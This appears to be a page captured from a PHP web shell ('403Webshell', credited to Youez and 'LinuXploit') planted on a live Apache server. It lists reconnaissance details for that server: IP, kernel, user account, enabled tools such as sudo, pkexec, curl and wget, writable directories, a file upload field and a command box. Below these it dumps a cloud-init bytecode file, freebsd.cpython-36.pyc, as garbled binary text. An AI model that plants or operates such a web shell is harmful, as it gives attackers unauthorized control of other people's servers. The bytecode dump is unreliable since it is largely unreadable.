403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/distros/__pycache__/freebsd.cpython-36.pyc
3

��b!�@spddlZddlZddlmZddlZddlmZddlmZm	Z	ddl
mZeje
�ZGdd�dejjj�ZdS)�N)�StringIO)�log)�subp�util)�PER_INSTANCEc@s�eZdZdZdZdZdZdZdddgZd	d
gZ	d	dgZ
d	dgZd	d
gZdZ
dZdd�Zdd�Zdd�Zd$dd�Zdd�Zd%dd�Zdd�Zd d!�Zd"d#�ZdS)&�DistrozY
    Distro subclass for FreeBSD.

    (N.B. DragonFlyBSD inherits from this class.)
    z/usr/local/libz/etc/login.confz/etc/login.conf.origz,/usr/local/etc/sudoers.d/90-cloud-init-users�pw�group�addZpkgZinstall�remove�updateZupgradeTz	/usr/homecCsddd|d|gS)Nr�usermodz-nz-G�)�self�member_nameZ
group_namerr�/usr/lib/python3.6/freebsd.py�_get_add_member_to_group_cmd&sz#Distro._get_add_member_to_group_cmdc

Ks�tj|�rtjd|�dSddd|g}ddd|g}dddd	d
dd�}d
ddd�}xf|j�D]Z\}}||kr�|r�t|t�r�|j|||g�qZ||krZ|rZ|j||�|j||�qZWd|ks�d|kr�|jd�|jd�n@|jdj	|j
|d��|jd�|jdj	|j
|d��|jd�tjd|�ytj||d�Wn&tk
�rbtj
td|��YnX|jdd�}	|	dk	�r�|j||	dd�dS)Nz!User %s already exists, skipping.FrZuseraddz-nz-dz-cz-gz-Gz-sz-E)ZhomedirZgecosZ
primary_group�groups�shellZinactivez--no-user-groupz--systemz
--no-log-init)Z
no_user_group�systemZno_log_initZno_create_homerz-d/nonexistentz-d{home_dir}/{name})�home_dir�namez-mzAdding user %s)�	logstringzFailed to create user %s�passwdT)�hashed)rZis_user�LOG�info�items�
isinstance�str�extend�append�formatrr�	Exception�logexc�get�
set_passwd)
rr�kwargsZpw_useradd_cmdZlog_pw_useradd_cmdZpw_useradd_optsZpw_useradd_flags�key�valZ
passwd_valrrr�add_user)sL




zDistro.add_usercCsBytjdd|ddg�Wn$tk
r<tjtd|��YnXdS)Nrr
z-pz01-Jan-1970z"Failed to set pw expiration for %s)rr#rr$r)r�userrrr�
expire_passwdbs
zDistro.expire_passwdFcCsZ|r
d}nd}y"tjdd||dg|d|d�Wn$tk
rTtjtd|��YnXdS)	Nz-Hz-hrr
�0zchpasswd for %s)�datarzFailed to set password for %s)rr#rr$r)rr+rrZhash_optrrrr&iszDistro.set_passwdcCsBytjdd|ddg�Wn$tk
r<tjtd|��YnXdS)Nrr
z-h�-zFailed to lock user %s)rr#rr$r)rrrrr�lock_passwdys
zDistro.lock_passwdNcCs�t�}x:tj|j�j�D]&}|jtjdd||��|jd�qWtj|j|j	�tj
|j|j��y tj
d|�tjd|jg�Wn^tjk
r�tjtd|�ytj|j	|j�Wn$tk
r�tjtd|j�YnXYnXdS)Nz	^default:zdefault:lang=%s:�
zRunning cap_mkdb for %sZcap_mkdbzFailed to apply locale %szFailed to restore %s backup)rrZ	load_file�
login_conf_fn�
splitlines�write�re�sub�copy�login_conf_fn_bakZ
write_file�getvaluer�debugrZProcessExecutionErrorr$�IOError)rZlocaleZout_fnZnewconf�linerrr�apply_locale�s"zDistro.apply_localecCsdS)Nr)rZ	netconfigrrr�apply_network_config_names�sz!Distro.apply_network_config_namescCstjj�}d|d<|S)z?Return environment vars used in *BSD package_command operationsZYESZASSUME_ALWAYS_YES)�os�environr7)r�errr�_get_pkg_cmd_environ�s
zDistro._get_pkg_cmd_environcCs|jjd|jdgtd�dS)Nzupdate-sourcesr)Zfreq)Z_runnerZrunZpackage_commandr)rrrr�update_package_sources�s
zDistro.update_package_sources)F)N)�__name__�
__module__�__qualname__�__doc__Zusr_lib_execr2r8Z
ci_sudoers_fnZgroup_add_cmd_prefixZpkg_cmd_install_prefixZpkg_cmd_remove_prefixZpkg_cmd_update_prefixZpkg_cmd_upgrade_prefixZprefer_fqdnrrr*r,r&r0r=r>rBrCrrrrrs*
9

r)r?r5�iorZcloudinit.distros.bsdZ	cloudinitrZloggingrrZcloudinit.settingsrZ	getLoggerrDrZdistrosZbsdZBSDrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit